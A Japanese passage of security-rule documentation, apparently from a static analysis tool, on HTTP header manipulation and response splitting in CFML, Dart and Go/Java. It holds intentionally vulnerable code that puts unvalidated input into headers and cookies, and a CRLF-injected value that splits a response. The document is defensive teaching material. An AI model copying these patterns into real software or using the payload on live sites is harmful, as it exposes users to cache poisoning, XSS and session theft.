キャッシュポイズニング: 悪意により構成されたレスポンスが、多数のユーザーが使用する Web キャッシュ、または 1 人のユーザーのブラウザキャッシュに保存されると、被害が拡大することがあります。レスポンスが、一般にプロキシサーバーに見られるような共有 Web キャッシュに保存されると、キャッシュエントリが消去されるまで、そのキャッシュを使用するすべてのユーザーが、悪意あるコンテンツを継続して受け取ります。同様に、個別のユーザーのブラウザキャッシュにレスポンスが保存される場合も、キャッシュエントリが消去されるまでそのユーザーは悪意あるコンテンツを継続して受け取り、ローカルのブラウザインスタンスのユーザーが被害に遭うことになります。

Cross-Site Scripting: アプリケーションから送信されるレスポンスを支配下に置いた攻撃者は、悪意あるさまざまなコンテンツをユーザーに提供できます。Cross-Site Scripting はよくある攻撃形態で、レスポンスに含まれる悪意ある JavaScript などのコードがユーザーのブラウザーで実行されます。XSS に基づく攻撃の種類はほぼ無限にあります。一般的には、cookie などの個人情報やその他のセッション情報を攻撃者に送信したり、攻撃者の制御下にある Web コンテンツに被害者をリダイレクトしたり、脆弱性のあるサイトを装ってユーザーのマシン上で悪意ある操作を実行したりします。これは脆弱なアプリケーションのユーザーに対する最も一般的で危険な攻撃手段で、JavaScript を使用してセッション情報や Authentication 情報を攻撃者に送信し、攻撃対象のアカウントを完全に支配下に置きます。

ページ乗っ取り攻撃: 脆弱なアプリケーションを使用して悪意あるコンテンツをユーザーに送信するほか、このルート脆弱性を利用して、サーバーによって生成されたユーザー向けの機密性が高いコンテンツを攻撃者にリダイレクトすることもあります。攻撃者は、サーバーからの意図どおりのレスポンスと、攻撃者によって生成されたレスポンスの 2 つのレスポンスを生成させるリクエストを送信することで、サーバーにより生成されたレスポンスをユーザーではなく攻撃者に送信するよう共有プロキシ サーバーなどの中間ノードを操作する可能性があります。攻撃者により作成されたリクエストが 2 つのレスポンスを生成するため、最初のレスポンスは攻撃者のリクエストへのレスポンスとして解釈されますが、2 番目のレスポンスには行き先がありません。ユーザーが同一の TCP 接続を通して正しいリクエストをすると、待機していた攻撃者のリクエストが本来のユーザーのリクエストに対するレスポンスと解釈されます。続いて攻撃者は第 2 のリクエストを送信します。プロキシサーバーは本来のユーザーのためにサーバーが生成したリクエストを使用してそれにレスポンスするため、このユーザー向けのレスポンスのヘッダーやボディに含まれる機密情報が漏洩します。

Cookie の不正操作: クロスサイト リクエスト フォージェリのような攻撃が同時に行われると、正規ユーザーの cookie が変更、追加、または上書きされる可能性があります。

オープンリダイレクト: 入力が検証されないため、リダイレクトで使用される URL が制御され、フィッシング攻撃に悪用される可能性があります。
References
[1] Amit Klein Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics
[2] Diabolic Crab HTTP Response Splitting
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 3.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 113
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[16] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2010 A1 Injection
[18] Standards Mapping - OWASP Top 10 2013 A1 Injection
[19] Standards Mapping - OWASP Top 10 2017 A1 Injection
[20] Standards Mapping - OWASP Top 10 2021 A03 Injection
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Web Application Security Consortium Version 2.00 HTTP Response Splitting (WASC-25)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 HTTP Response Splitting
desc.dataflow.cfml.header_manipulation
Abstract
未検証のデータを HTTP レスポンス ヘッダーに含めると、キャッシュポイズニング、Cross-Site Scripting、クロスユーザー改竄、ページ乗っ取り攻撃、cookie 不正操作、Open Redirect が発生する可能性があります。
Explanation
Header Manipulation 脆弱性が発生するのは次の場合です。

1.信頼されていないソース (多くの場合、HTTP リクエスト) からデータが Web アプリケーションに入り込んだ場合。

2.Web ユーザーに送信される HTTP レスポンスヘッダーにデータが検証せずに含まれている場合。

多くのソフトウェアセキュリティの脆弱性と同様、Header Manipulation は目的を達成するための手段であって、目的そのものではありません。基本的には、この脆弱性は単純なものです。攻撃者は脆弱なアプリケーションに悪意あるデータを渡し、アプリケーションがそのデータを HTTP レスポンスヘッダーに含めます。

Header Manipulation 攻撃で一般的に発生する攻撃の 1 つは、HTTP Response Splitting です。HTTP Response Splitting の悪用が成功するためには、ヘッダーへ CR (キャリッジ リターン、%0d または \r とも表記します) 文字や LF (ライン フィード、%0a または \n とも表記します) 文字を含める入力がアプリケーションで許容されている必要があります。これらの文字を利用して攻撃者は、アプリケーションが送信するレスポンスのヘッダーのそれ以降の部分と本文を制御できるだけでなく、追加のレスポンスを思うままに作成できてしまいます。

最近のアプリケーション サーバーの多くは、HTTP ヘッダーへの悪意ある文字の挿入を防ぐようになっています。たとえば、Apache Tomcat の最近のバージョンでは、禁止されている文字を含むヘッダーを設定しようとすると、IllegalArgumentException が発生します。使用しているアプリケーション サーバーが改行文字を含むヘッダーの設定を防ぐようになっている場合には、アプリケーションは HTTP Response Splitting に対して脆弱ではありません。しかし、改行文字だけを単にフィルタしても、アプリケーションは Cookie Manipulation (Cookie の不正操作) や Open Redirects (オープンリダイレクト) に対して脆弱なままとなります。そのため、ユーザー入力が関連する HTTP ヘッダーを設定するときには、注意が必要となります。

例: 次のコード セグメントは、HTTP リクエストから「content-type」を読み取り、それを新しい HTTP リクエストのヘッダーに設定します。


final server = await HttpServer.bind('localhost', 18081);
server.listen((request) async {
final headers = request.headers;
final contentType = headers.value('content-type');
final client = HttpClient();
final clientRequest = await client.getUrl(Uri.parse('https://example.com'));
clientRequest.headers.add('Content-Type', contentType as Object);
});


「Content-Type」ヘッダーの値は未検証のユーザー入力で形成されるため、悪意のある攻撃者によって操作されて、脆弱性の悪用、コード インジェクション攻撃の実行、機密データの公開、悪意のあるファイルの実行の有効化、またはサービス拒否状況のトリガーが行われる可能性があり、アプリケーションのセキュリティと安定性に重大なリスクを引き起こします。
References
[1] Standards Mapping - CIS Azure Kubernetes Service Benchmark 3.0
[2] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[3] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[5] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[6] Standards Mapping - CIS Kubernetes Benchmark partial
[7] Standards Mapping - Common Weakness Enumeration CWE ID 113
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[9] Standards Mapping - FIPS200 SI
[10] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[13] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[14] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[15] Standards Mapping - OWASP Top 10 2010 A1 Injection
[16] Standards Mapping - OWASP Top 10 2013 A1 Injection
[17] Standards Mapping - OWASP Top 10 2017 A1 Injection
[18] Standards Mapping - OWASP Top 10 2021 A03 Injection
[19] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[20] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[21] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[33] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[54] Standards Mapping - Web Application Security Consortium Version 2.00 HTTP Response Splitting (WASC-25)
[55] Standards Mapping - Web Application Security Consortium 24 + 2 HTTP Response Splitting
desc.dataflow.dart.header_manipulation
Abstract
未検証のデータを HTTP レスポンス ヘッダーに含めると、キャッシュポイズニング、Cross-Site Scripting、クロスユーザー改竄、ページ乗っ取り攻撃、cookie 不正操作、Open Redirectが発生する可能性があります。
Explanation
Header Manipulation 脆弱性が発生するのは次の場合です。

1.信頼されていないソース (多くの場合、HTTP リクエスト) からデータが Web アプリケーションに入り込んだ場合。

2.Web ユーザーに送信される HTTP レスポンスヘッダーにデータが検証せずに含まれている場合。

多くのソフトウェアセキュリティの脆弱性と同様、Header Manipulation は目的を達成するための手段であって、目的そのものではありません。基本的には、この脆弱性は単純なものです。攻撃者は脆弱なアプリケーションに悪意あるデータを渡し、アプリケーションがそのデータを HTTP レスポンスヘッダーに含めます。


例: 次のコード セグメントでは、ブログのエントリの作成者名 author を HTTP リクエストから読み取り、HTTP レスポンスの cookie ヘッダーにセットします。


...
author := request.FormValue("AUTHOR_PARAM")
cookie := http.Cookie{
Name: "author",
Value: author,
Domain: "www.example.com",
}
http.SetCookie(w, &cookie)
...


攻撃者は任意の HTTP レスポンスを構築できるため、クロスユーザー改竄、Web およびブラウザのキャッシュポイズニング、Cross-Site Scripting、ページ乗っ取り攻撃などの様々な攻撃が許容されることになります。

クロスユーザー改竄: 攻撃者は脆弱なサーバーに対して、2 つのレスポンスを作成させる単一のリクエストを行います。その 2 番目のレスポンスは、別のリクエスト、おそらくはサーバーとの TCP 接続を共有している別のユーザーが行ったリクエストに対するレスポンスと誤って解釈されることがあります。この攻撃では、攻撃者とユーザーがサーバー (共通のプロキシ サーバーなど) との TCP 接続を共有している状況で、悪意あるリクエストをユーザー自身で、またはリモートから送信するよう誘導します。最も良心的な場合でも、攻撃者はこの能力を活用して、ユーザーにアプリケーションがハッキングされていると思わせ、アプリケーションのセキュリティに対する信頼を失わせる可能性があります。最悪の場合、攻撃者はアプリケーションの動作を模倣し、口座番号やパスワードなどの個人情報を攻撃者にリダイレクトするよう設計されたコンテンツを用意している可能性があります。

キャッシュポイズニング: 悪意により構成されたレスポンスが、多数のユーザーが使用する Web キャッシュ、あるいはユーザーが 1 人であってもそのブラウザー キャッシュに保存されると、被害が拡大することがあります。レスポンスがプロキシ サーバーによくあるような共有 Web キャッシュに保存されると、キャッシュ エントリが消去されるまで、そのキャッシュを使用するすべてのユーザーが悪意あるコンテンツを受け取り続けます。同様に、個別のユーザーのブラウザー キャッシュにレスポンスが保存される場合も、そのユーザーはキャッシュ エントリが消去されるまで悪意あるコンテンツを受け取り続け、ローカルのブラウザー インスタンスのユーザーが被害に遭うことになります。

Cross-Site Scripting: アプリケーションから送信されるレスポンスを支配下に置いた攻撃者は、悪意あるさまざまなコンテンツをユーザーに提供できます。Cross-Site Scripting は一般的な攻撃形態で、レスポンスに含まれる悪意ある JavaScript などのコードがユーザーのブラウザーで実行されます。XSS に基づく攻撃の種類はほぼ無限にあります。一般的には、cookie などの個人情報やその他のセッション情報を攻撃者に送信したり、攻撃者の制御下にある Web コンテンツに被害者をリダイレクトしたり、脆弱性のあるサイトを装ってユーザーのマシン上で悪意ある操作を実行したりします。これは脆弱なアプリケーションのユーザーに対する最も一般的で危険な攻撃手段で、JavaScript を使用してセッション情報や Authentication 情報を攻撃者に送信し、攻撃対象のアカウントを完全に支配下に置きます。

ページ乗っ取り攻撃: 脆弱なアプリケーションを使用して悪意あるコンテンツをユーザーに送信するほか、このルート脆弱性を利用して、サーバーによって生成されたユーザー向けの機密性が高いコンテンツを攻撃者にリダイレクトすることもあります。攻撃者は、サーバーからの意図どおりのレスポンスと、攻撃者によって生成されたレスポンスの 2 つのレスポンスを生成させるリクエストを送信することで、サーバーにより生成されたレスポンスをユーザーではなく攻撃者に送信するよう、共有プロキシ サーバーなどの中間ノードを操作する可能性があります。攻撃者により作成されたリクエストが 2 つのレスポンスを生成するため、1 番目のレスポンスは攻撃者のリクエストへのレスポンスとして解釈されますが、2 番目のレスポンスには行き先がありません。ユーザーが同一の TCP 接続を通して正しいリクエストをしても、待機していた攻撃者のリクエストが本来のユーザーのリクエストに対するレスポンスと解釈されます。その後に攻撃者は 2 番目のリクエストを送信します。プロキシ サーバーは本来のユーザーのためにサーバーが生成したリクエストを使用してそれにレスポンスするため、このユーザー向けのレスポンスのヘッダーや本文に含まれる機密情報が漏洩します。

cookie 不正操作: Cross-Site Request Forgery のような攻撃が同時に行われると、正規ユーザーの cookie が攻撃者によって変更、追加、上書きまでもされることがあります。

Open Redirect: リダイレクトに使用される URL が未検証の入力によって制御されると、フィッシング攻撃を容易にしてしまう可能性があります。
References
[1] A. Klein Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 3.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[7] Standards Mapping - CIS Kubernetes Benchmark partial
[8] Standards Mapping - Common Weakness Enumeration CWE ID 113
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[10] Standards Mapping - FIPS200 SI
[11] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[12] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[13] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[14] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[15] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[16] Standards Mapping - OWASP Top 10 2010 A1 Injection
[17] Standards Mapping - OWASP Top 10 2013 A1 Injection
[18] Standards Mapping - OWASP Top 10 2017 A1 Injection
[19] Standards Mapping - OWASP Top 10 2021 A03 Injection
[20] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[21] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[22] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[34] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[55] Standards Mapping - Web Application Security Consortium Version 2.00 HTTP Response Splitting (WASC-25)
[56] Standards Mapping - Web Application Security Consortium 24 + 2 HTTP Response Splitting
desc.dataflow.golang.header_manipulation
Abstract
未検証のデータを HTTP レスポンスヘッダーに含めると、キャッシュポイズニング、Cross-Site Scripting、クロスユーザー改竄、ページ乗っ取り攻撃、cookieの不正操作、またはオープンリダイレクトが発生する可能性があります。
Explanation
Header Manipulation の脆弱性が発生するのは次の場合です。

1. 信頼されていないソース (多くの場合、HTTP リクエスト) からデータが Web アプリケーションに入り込んだ場合。

2. Web ユーザーに送信される HTTP レスポンスヘッダーにデータが検証せずに含まれている場合。

多くのソフトウェアセキュリティの脆弱性と同様、Header Manipulation は目的を達成するための手段であって、目的そのものではありません。基本的には、この脆弱性は単純なものです。攻撃者は脆弱なアプリケーションに悪意あるデータを渡し、アプリケーションがそのデータを HTTP レスポンスヘッダーに含めます。

Header Manipulation 攻撃で一般的に発生する攻撃の 1 つは、HTTP Response Splitting です。HTTP Response Splitting の悪用が成功するためには、ヘッダーへの CR (キャリッジリターン、%0d または \r とも表記します) 文字や LF (ラインフィード、%0a または \n とも表記します) 文字を含む入力がアプリケーションで許容されている必要があります。これらの文字を利用して攻撃者は、アプリケーションが送信するレスポンスのヘッダーのそれ以降の部分とボディを制御できるだけでなく、追加のレスポンスを思うままに作成することが可能です。

最近のアプリケーションサーバーの多くは、HTTP ヘッダーへの悪意ある文字の挿入を防ぐようになっています。たとえば、Apache Tomcat の最近のバージョンでは、禁止されている文字を含むヘッダーを設定しようとすると、IllegalArgumentException が発生します。使用しているアプリケーションサーバーが改行文字を含むヘッダーの設定を防ぐようになっている場合には、アプリケーションは HTTP Response Splitting に対して脆弱ではありません。しかし、改行文字だけを単にフィルタしても、アプリケーションは Cookie Manipulation (Cookie の不正操作) や Open Redirects (オープンリダイレクト) に対して脆弱なままとなります。そのため、ユーザー入力が関連する HTTP ヘッダーを設定するときには、注意が必要となります。

例: 次のコードセグメントは、ブログのエントリの作成者名 author を HTTP リクエストから読み取り、HTTP レスポンスの cookie ヘッダーにセットします。


String author = request.getParameter(AUTHOR_PARAM);
...
Cookie cookie = new Cookie("author", author);
cookie.setMaxAge(cookieExpiration);
response.addCookie(cookie);


「Jane Smith」のような、標準的な英数字で構成されている文字列がリクエストで送信されたと仮定した場合、この cookie を含むHTTP レスポンスは次のような形式になります。


HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...


ただし、cookie の値は未検証のユーザー入力から形成されているので、レスポンスがこの形態を維持するのは、AUTHOR_PARAM として送信された値に CR 文字や LF 文字が含まれていない場合だけです。攻撃者が「Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...」といった悪意ある文字列を送信すると、HTTP レスポンスは、次のような 2 つのレスポンスに分割されます。


HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker

HTTP/1.1 200 OK
...


2 番目のレスポンスは完全に攻撃者の支配下にあり、思うままのヘッダー内容やボディ内容で構成することができます。攻撃者は任意の HTTP レスポンスを構築できるため、クロスユーザー改竄、Web およびブラウザキャッシュポイズニング、Cross-Site Scripting およびページ乗っ取り攻撃などの様々な攻撃を許すことになります。

クロスユーザー改竄: 攻撃者は脆弱なサーバーに対して、2 つのレスポンスを作成させる単一のリクエストを行います。その 2 番目のレスポンスは、別のリクエスト、おそらくはサーバーとの TCP 接続を共有している別のユーザーが行ったリクエストに対する回答と誤って解釈される可能性があります。この攻撃は、攻撃者とユーザーがサーバー (共通のプロキシサーバーなど) との TCP 接続を共有している状況で、悪意あるリクエストをユーザー自身で、またはリモートから送信するよう誘導します。最も良心的な場合でも、攻撃者はこの能力を活用して、ユーザーにアプリケーションがハッキングされていると思わせ、アプリケーションのセキュリティに対する信頼を失わせる可能性があります。最悪の場合、攻撃者はアプリケーションの動作を模倣し、口座番号やパスワードなどの個人情報を攻撃者にリダイレクトするよう設計されたコンテンツを用意しています。

キャッシュポイズニング: 悪意により構成されたレスポンスが、多数のユーザーが使用する Web キャッシュ、または 1 人のユーザーのブラウザキャッシュに保存されると、被害が拡大することがあります。レスポンスが、一般にプロキシサーバーに見られるような共有 Web キャッシュに保存されると、キャッシュエントリが消去されるまで、そのキャッシュを使用するすべてのユーザーが、悪意あるコンテンツを継続して受け取ります。同様に、個別のユーザーのブラウザキャッシュにレスポンスが保存される場合も、キャッシュエントリが消去されるまでそのユーザーは悪意あるコンテンツを継続して受け取り、ローカルのブラウザインスタンスのユーザーが被害に遭うことになります。

Cross-Site Scripting: アプリケーションから送信されるレスポンスを支配下に置いた攻撃者は、悪意あるさまざまなコンテンツをユーザーに提供できます。Cross-Site Scripting は一般的な攻撃形態で、レスポンスに含まれる悪意ある JavaScript などのコードがユーザーのブラウザーで実行されます。XSS に基づく攻撃の種類はほぼ無限にあります。一般的には、cookie などの個人情報やその他のセッション情報を攻撃者に送信したり、攻撃者の制御下にある Web コンテンツに被害者をリダイレクトしたり、脆弱性のあるサイトを装ってユーザーのマシン上で悪意ある操作を実行したりします。これは脆弱なアプリケーションのユーザーに対する最も一般的で危険な攻撃手段で、JavaScript を使用してセッション情報や Authentication 情報を攻撃者に送信し、攻撃対象のアカウントを完全に支配下に置きます。

